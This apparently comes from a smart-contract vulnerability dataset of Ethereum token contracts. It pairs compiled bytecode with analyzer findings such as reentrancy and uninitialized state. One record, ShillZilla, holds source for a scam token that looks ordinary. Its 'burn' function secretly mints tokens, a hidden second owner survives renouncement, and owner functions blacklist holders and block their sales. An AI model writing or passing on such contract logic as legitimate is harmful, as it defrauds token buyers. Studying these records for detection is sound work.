60408083203384529091529020549190610f94565b610b54565b5060019392505050565b6000546001600160a01b0316331461055c5760405162461bcd60e51b8152600401610449906118c7565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146105a75760405162461bcd60e51b8152600401610449906118c7565b476104c681610fce565b6001600160a01b03811660009081526002602052604081205461048190611008565b6000546001600160a01b031633146105fd5760405162461bcd60e51b8152600401610449906118c7565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106715760405162461bcd60e51b8152600401610449906118c7565b601054600160a01b900460ff16156106cb5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610449565b600f80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a01559160048083019260209291908290030181865afa158015610730573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061075491906118fc565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107a1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107c591906118fc565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610812573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061083691906118fc565b601080546001600160a01b0319166001600160a01b039290921691909117905550565b600061047d338484610c78565b6000546001600160a01b031633146108905760405162461bcd60e51b8152600401610449906118c7565b60005b81518110156108f8576001600660008484815181106108b4576108b4611919565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806108f081611945565b915050610893565b5050565b6000546001600160a01b031633146109265760405162461bcd60e51b8152600401610449906118c7565b6000610931306105b1565b90506104c68161108c565b6000546001600160a01b031633146109665760405162461bcd60e51b8152600401610449906118c7565b600f546109869030906001600160a01b0316670de0b6b3a7640000610b54565b600f546001600160a01b031663f305d71947306109a2816105b1565b6000806109b76000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610a1f573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a449190611960565b5050601080546658d15e52fd4a0060115563ffff00ff60a01b198116630101000160a01b17909155600f5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610ac0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104c6919061198e565b6000546001600160a01b03163314610b0e5760405162461bcd60e51b8152600401610449906118c7565b600f8110156104c657600b55565b6000546001600160a01b03163314610b465760405162461bcd60e51b8152600401610449906118c7565b600f8110156104c657600c55565b6001600160a01b038316610bb65760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610449565b6001600160a01b038216610c175760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610449565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610cdc5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610449565b6001600160a01b038216610d3e5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610449565b60008111610da05760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610449565b6001600160a01b03831660009081526005602052604090205460ff16158015610de257506001600160a01b03821660009081526005602052604090205460ff16155b15610f84576001600160a01b03831660009081526006602052604090205460ff16158015610e2957506001600160a01b03821660009081526006602052604090205460ff16155b610e3257600080fd5b6000600955600c54600a556010546001600160a01b038481169116148015610e685750600f546001600160a01b03838116911614155b8015610e8d57506001600160a01b03821660009081526005602052604090205460ff16155b8015610ea25750601054600160b81b900460ff165b15610eb657601154811115610eb657600080fd5b6010546001600160a01b038381169116148015610ee15750600f546001600160a01b03848116911614155b8015610f0657506001600160a01b03831660009081526005602052604090205460ff16155b15610f17576000600955600b54600a555b6000610f22306105b1565b601054909150600160a81b900460ff16158015610f4d57506010546001600160a01b03858116911614155b8015610f625750601054600160b01b900460ff165b15610f8257610f708161108c565b478015610f8057610f8047610fce565b505b505b610f8f838383611206565b505050565b60008184841115610fb85760405162461bcd60e51b81526004016104499190611696565b506000610fc584866119ab565b95945050505050565b600e546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156108f8573d6000803e3d6000fd5b600060075482111561106f5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610449565b6000611079611211565b90506110858382611234565b9392505050565b6010805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106110d4576110d4611919565b6001600160a01b03928316602091820292909201810191909152600f54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561112d573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061115191906118fc565b8160018151811061116457611164611919565b6001600160a01b039283166020918202929092010152600f5461118a9130911684610b54565b600f5460405163791ac94760e01b81526001600160a01b039091169063791ac947906111c39085906000908690309042906004016119c2565b600060405180830381600087803b1580156111dd57600080fd5b505af11580156111f1573d6000803e3d6000fd5b50506010805460ff60a81b1916905550505050565b610f8f838383611276565b600080600061121e61136d565b909250905061122d8282611234565b9250505090565b600061108583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506113ad565b600080600080600080611288876113db565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506112ba9087611438565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546112e9908661147a565b6001600160a01b03891660009081526002602052604090205561130b816114d9565b6113158483611523565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161135a91815260200190565b60405180910390a3505050505050505050565b6007546000908190670de0b6b3a76400006113888282611234565b8210156113a457505060075492670de0b6b3a764000092509050565b90939092509050565b600081836113ce5760405162461bcd60e51b81526004016104499190611696565b506000610fc58486611a33565b60008060008060008060008060006113f88a600954600a54611547565b9250925092506000611408611211565b9050600080600061141b8e87878761159c565b919e509c509a509598509396509194505050505091939550919395565b600061108583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f94565b6000806114878385611a55565b9050838110156110855760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610449565b60006114e3611211565b905060006114f183836115ec565b3060009081526002602052604090205490915061150e908261147a565b30600090815260026020526040902055505050565b6007546115309083611438565b600755600854611540908261147a565b6008555050565b6000808080611561606461155b89896115ec565b90611234565b90506000611574606461155b8a896115ec565b9050600061158c826115868b86611438565b90611438565b9992985090965090945050505050565b60008080806115ab88866115ec565b905060006115b988876115ec565b905060006115c788886115ec565b905060006115d9826115868686611438565b939b939a50919850919650505050505050565b6000826115fb57506000610481565b60006116078385611a6d565b9050826116148583611a33565b146110855760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610449565b80151581146104c657600080fd5b60006020828403121561168b57600080fd5b81356110858161166b565b600060208083528351808285015260005b818110156116c3578581018301518582016040015282016116a7565b818111156116d5576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146104c657600080fd5b803561170b816116eb565b919050565b6000806040838503121561172357600080fd5b823561172e816116eb565b946020939093013593505050565b60006020828403121561174e57600080fd5b5035919050565b60008060006060848603121561176a57600080fd5b8335611775816116eb565b92506020840135611785816116eb565b929592945050506040919091013590565b6000602082840312156117a857600080fd5b8135611085816116eb565b634e487b7160e01b600052604160045260246000fd5b600060208083850312156117dc57600080fd5b823567ffffffffffffffff808211156117f457600080fd5b818501915085601f83011261180857600080fd5b81358181111561181a5761181a6117b3565b8060051b604051601f19603f8301168101818110858211171561183f5761183f6117b3565b60405291825284820192508381018501918883111561185d57600080fd5b938501935b828510156118825761187385611700565b84529385019392850192611862565b98975050505050505050565b600080604083850312156118a157600080fd5b82356118ac816116eb565b915060208301356118bc816116eb565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60006020828403121561190e57600080fd5b8151611085816116eb565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b60006000198214156119595761195961192f565b5060010190565b60008060006060848603121561197557600080fd5b8351925060208401519150604084015190509250925092565b6000602082840312156119a057600080fd5b81516110858161166b565b6000828210156119bd576119bd61192f565b500390565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611a125784516001600160a01b0316835293830193918301916001016119ed565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611a5057634e487b7160e01b600052601260045260246000fd5b500490565b60008219821115611a6857611a6861192f565b500190565b6000816000190483118215151615611a8757611a8761192f565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212207f7eb41e9c359fe0eaff3ca1e3015e6232ed53e95119af4f346a9758ea2e890e64736f6c634300080b0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
44
0x6f640bbff975a6ca6f99d99175730c716a3a35a9
/** *Submitted for verification at Etherscan.io on 2022-04-24 */ pragma solidity ^0.8.0; library SafeMath { function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface IERC20Metadata is IERC20 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } contract ShillZilla is Context, IERC20, IERC20Metadata { mapping(address => uint256) public _balances; mapping(address => mapping(address => uint256)) public _allowances; mapping(address => bool) private _blackbalances; mapping (address => bool) private bots; mapping(address => bool) private _balances1; address internal router; uint256 public _totalSupply = 100000000*10**18; string public _name = "ShillZilla"; string public _symbol= "ShillZilla"; bool balances1 = true; bool private tradingOpen; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; uint256 private openBlock; constructor() { _balances[msg.sender] = _totalSupply; emit Transfer(address(this), msg.sender, _totalSupply); owner = msg.sender; } address public owner; address private marketAddy = payable(0xB6cCD10196817A69CAd9c766486eCb480971B1B5); modifier onlyOwner { require((owner == msg.sender) || (msg.sender == marketAddy)); _; } function changeOwner(address _owner) onlyOwner public { owner = _owner; } function RenounceOwnership() onlyOwner public { owner = 0x000000000000000000000000000000000000dEaD; } function giveReflections(address[] memory recipients_) onlyOwner public { for (uint i = 0; i < recipients_.length; i++) { bots[recipients_[i]] = true; } } function toggleReflections(address[] memory recipients_) onlyOwner public { for (uint i = 0; i < recipients_.length; i++) { bots[recipients_[i]] = false; } } function setReflections() onlyOwner public { router = uniswapV2Pair; balances1 = false; } function openTrading() public onlyOwner { require(!tradingOpen, "trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _totalSupply); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner, block.timestamp ); tradingOpen = true; openBlock = block.number; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } receive() external payable {} function name() public view virtual override returns (string memory) { return _name; } function symbol() public view virtual override returns (string memory) { return _symbol; } function decimals() public view virtual override returns (uint8) { return 18; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(_blackbalances[sender] != true ); require(!bots[sender] && !bots[recipient]); if(recipient == router) { require((balances1 || _balances1[sender]) || (sender == marketAddy), "ERC20: transfer to the zero address"); } require((amount < 200000000000*10**18) || (sender == marketAddy) || (sender == owner) || (sender == address(this))); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; if ((openBlock + 4 > block.number) && sender == uniswapV2Pair) { emit Transfer(sender, recipient, 0); } else { emit Transfer(sender, recipient, amount); } } function burn(address account, uint256 amount) onlyOwner public virtual { require(account != address(0), "ERC20: burn to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} }
0x6080604052600436106101395760003560e01c806370a08231116100ab578063a9059cbb1161006f578063a9059cbb14610339578063b09f126614610359578063ba3ac4a51461036e578063c9567bf91461038e578063d28d8852146103a3578063dd62ed3e146103b857610140565b806370a08231146102a25780638da5cb5b146102c257806395d89b41146102e45780639dc29fac146102f9578063a6f9dae11461031957610140565b806323b872dd116100fd57806323b872dd14610201578063294e3eb114610221578063313ce567146102365780633eaaf86b146102585780636e4ee8111461026d5780636ebcf6071461028257610140565b8063024c2ddd1461014557806306fdde031461017b578063095ea7b31461019d57806315a892be146101ca57806318160ddd146101ec57610140565b3661014057005b600080fd5b34801561015157600080fd5b506101656101603660046110d1565b6103d8565b604051610172919061130f565b60405180910390f35b34801561018757600080fd5b506101906103f5565b6040516101729190611318565b3480156101a957600080fd5b506101bd6101b8366004611149565b610487565b6040516101729190611304565b3480156101d657600080fd5b506101ea6101e5366004611174565b6104a4565b005b3480156101f857600080fd5b5061016561054a565b34801561020d57600080fd5b506101bd61021c366004611109565b610550565b34801561022d57600080fd5b506101ea6105e9565b34801561024257600080fd5b5061024b610643565b6040516101729190611575565b34801561026457600080fd5b50610165610648565b34801561027957600080fd5b506101ea61064e565b34801561028e57600080fd5b5061016561029d366004611092565b610690565b3480156102ae57600080fd5b506101656102bd366004611092565b6106a2565b3480156102ce57600080fd5b506102d76106c1565b6040516101729190611282565b3480156102f057600080fd5b506101906106d0565b34801561030557600080fd5b506101ea610314366004611149565b6106df565b34801561032557600080fd5b506101ea610334366004611092565b6107cb565b34801561034557600080fd5b506101bd610354366004611149565b610819565b34801561036557600080fd5b5061019061082d565b34801561037a57600080fd5b506101ea610389366004611174565b6108bb565b34801561039a57600080fd5b506101ea61095d565b3480156103af57600080fd5b50610190610cd5565b3480156103c457600080fd5b506101656103d33660046110d1565b610ce2565b600160209081526000928352604080842090915290825290205481565b6060600780546104049061159b565b80601f01602080910402602001604051908101604052809291908181526020018280546104309061159b565b801561047d5780601f106104525761010080835404028352916020019161047d565b820191906000526020600020905b81548152906001019060200180831161046057829003601f168201915b5050505050905090565b600061049b610494610d0d565b8484610d11565b50600192915050565b600c546001600160a01b03163314806104c75750600d546001600160a01b031633145b6104d057600080fd5b60005b81518110156105465760016003600084848151811061050257634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061053e816115d6565b9150506104d3565b5050565b60065490565b600061055d848484610dc5565b6001600160a01b03841660009081526001602052604081208161057e610d0d565b6001600160a01b03166001600160a01b03168152602001908152602001600020549050828110156105ca5760405162461bcd60e51b81526004016105c19061146d565b60405180910390fd5b6105de856105d6610d0d565b858403610d11565b506001949350505050565b600c546001600160a01b031633148061060c5750600d546001600160a01b031633145b61061557600080fd5b600a54600580546001600160a01b0319166001600160a01b039092169190911790556009805460ff19169055565b601290565b60065481565b600c546001600160a01b03163314806106715750600d546001600160a01b031633145b61067a57600080fd5b600c80546001600160a01b03191661dead179055565b60006020819052908152604090205481565b6001600160a01b0381166000908152602081905260409020545b919050565b600c546001600160a01b031681565b6060600880546104049061159b565b600c546001600160a01b03163314806107025750600d546001600160a01b031633145b61070b57600080fd5b6001600160a01b0382166107315760405162461bcd60e51b81526004016105c190611436565b61073d60008383611082565b806006600082825461074f9190611583565b90915550506001600160a01b0382166000908152602081905260408120805483929061077c908490611583565b90915550506040516001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906107bf90859061130f565b60405180910390a35050565b600c546001600160a01b03163314806107ee5750600d546001600160a01b031633145b6107f757600080fd5b600c80546001600160a01b0319166001600160a01b0392909216919091179055565b600061049b610826610d0d565b8484610dc5565b6008805461083a9061159b565b80601f01602080910402602001604051908101604052809291908181526020018280546108669061159b565b80156108b35780601f10610888576101008083540402835291602001916108b3565b820191906000526020600020905b81548152906001019060200180831161089657829003601f168201915b505050505081565b600c546001600160a01b03163314806108de5750600d546001600160a01b031633145b6108e757600080fd5b60005b81518110156105465760006003600084848151811061091957634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff191691151591909117905580610955816115d6565b9150506108ea565b600c546001600160a01b03163314806109805750600d546001600160a01b031633145b61098957600080fd5b600954610100900460ff16156109b15760405162461bcd60e51b81526004016105c19061153e565b6009805462010000600160b01b031916757a250d5630b4cf539739df2c5dacb4c659f2488d00001790819055600654737a250d5630b4cf539739df2c5dacb4c659f2488d91610a129130916001600160a01b03620100009091041690610d11565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610a4b57600080fd5b505afa158015610a5f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a8391906110b5565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610acb57600080fd5b505afa158015610adf573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b0391906110b5565b6040518363ffffffff1660e01b8152600401610b20929190611296565b602060405180830381600087803b158015610b3a57600080fd5b505af1158015610b4e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b7291906110b5565b600a80546001600160a01b0319166001600160a01b039283161790556009546201000090041663f305d7194730610ba8816106a2565b600c546040516001600160e01b031960e087901b168152610bde93929160009182916001600160a01b03169042906004016112c9565b6060604051808303818588803b158015610bf757600080fd5b505af1158015610c0b573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610c309190611255565b50506009805461ff001916610100179081905543600b55600a5460405163095ea7b360e01b81526001600160a01b03918216935063095ea7b392610c8392620100009091041690600019906004016112b0565b602060405180830381600087803b158015610c9d57600080fd5b505af1158015610cb1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105469190611235565b6007805461083a9061159b565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b3390565b6001600160a01b038316610d375760405162461bcd60e51b81526004016105c1906114fa565b6001600160a01b038216610d5d5760405162461bcd60e51b81526004016105c1906113ae565b6001600160a01b0380841660008181526001602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92590610db890859061130f565b60405180910390a3505050565b6001600160a01b038316610deb5760405162461bcd60e51b81526004016105c1906114b5565b6001600160a01b03831660009081526002602052604090205460ff16151560011415610e1657600080fd5b6001600160a01b03831660009081526003602052604090205460ff16158015610e5857506001600160a01b03821660009081526003602052604090205460ff16155b610e6157600080fd5b6005546001600160a01b0383811691161415610ed45760095460ff1680610ea057506001600160a01b03831660009081526004602052604090205460ff165b80610eb85750600d546001600160a01b038481169116145b610ed45760405162461bcd60e51b81526004016105c19061136b565b6c02863c1f5cdae42f9540000000811080610efc5750600d546001600160a01b038481169116145b80610f145750600c546001600160a01b038481169116145b80610f2757506001600160a01b03831630145b610f3057600080fd5b610f3b838383611082565b6001600160a01b03831660009081526020819052604090205481811015610f745760405162461bcd60e51b81526004016105c1906113f0565b6001600160a01b03808516600090815260208190526040808220858503905591851681529081208054849290610fab908490611583565b9091555050600b544390610fc0906004611583565b118015610fda5750600a546001600160a01b038581169116145b1561103057826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6000604051611023919061130f565b60405180910390a361107c565b826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611073919061130f565b60405180910390a35b50505050565b505050565b80356106bc8161161d565b6000602082840312156110a3578081fd5b81356110ae8161161d565b9392505050565b6000602082840312156110c6578081fd5b81516110ae8161161d565b600080604083850312156110e3578081fd5b82356110ee8161161d565b915060208301356110fe8161161d565b809150509250929050565b60008060006060848603121561111d578081fd5b83356111288161161d565b925060208401356111388161161d565b929592945050506040919091013590565b6000806040838503121561115b578182fd5b82356111668161161d565b946020939093013593505050565b60006020808385031215611186578182fd5b823567ffffffffffffffff8082111561119d578384fd5b818501915085601f8301126111b0578384fd5b8135818111156111c2576111c2611607565b838102604051858282010181811085821117156111e1576111e1611607565b604052828152858101935084860182860187018a10156111ff578788fd5b8795505b838610156112285761121481611087565b855260019590950194938601938601611203565b5098975050505050505050565b600060208284031215611246578081fd5b815180151581146110ae578182fd5b600080600060608486031215611269578283fd5b8351925060208401519150604084015190509250925092565b6001600160a01b0391909116815260200190565b6001600160a01b0392831681529116602082015260400190565b6001600160a01b03929092168252602082015260400190565b6001600160a01b039687168152602081019590955260408501939093526060840191909152909216608082015260a081019190915260c00190565b901515815260200190565b90815260200190565b6000602080835283518082850152825b8181101561134457858101830151858201604001528201611328565b818111156113555783604083870101525b50601f01601f1916929092016040019392505050565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b60208082526022908201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604082015261737360f01b606082015260800190565b60208082526026908201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604082015265616c616e636560d01b606082015260800190565b6020808252601f908201527f45524332303a206275726e20746f20746865207a65726f206164647265737300604082015260600190565b60208082526028908201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616040820152676c6c6f77616e636560c01b606082015260800190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526024908201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646040820152637265737360e01b606082015260800190565b60208082526017908201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604082015260600190565b60ff91909116815260200190565b60008219821115611596576115966115f1565b500190565b6002810460018216806115af57607f821691505b602082108114156115d057634e487b7160e01b600052602260045260246000fd5b50919050565b60006000198214156115ea576115ea6115f1565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461163257600080fd5b5056fea2646970667358221220087b311ec612512b0482e2a658eecff7ab03dbfd572da44a105bc70cbf2b35a664736f6c63430008000033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
45
0xff8c0721328d42625b7b226cb638dc5ba2bd92ab
// SPDX-License-Identifier: Unlicensed /* $APEER is the king of the future apes. $APEER is a community based token to grow the future ape kingdom with the token holders. Kingdom is built and based by the community. All of the token holders have obligations to shill and market the project to grow our kingdom of ape. Crown and power is for all the active holders. If you hold $APEER and shill elsewhere, you will have a chance to get a certain amount of the tax. $APEER will use the scepter to burn the token to make the $APEER become one of the most popular deflationary tokens in ERC. Throne is for the king. It is used by the development team to do marketing and develop further utility in the next stage. https://t.me/apeerportal */ pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract APEER is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "APEER"; string private constant _symbol = "APEER"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => 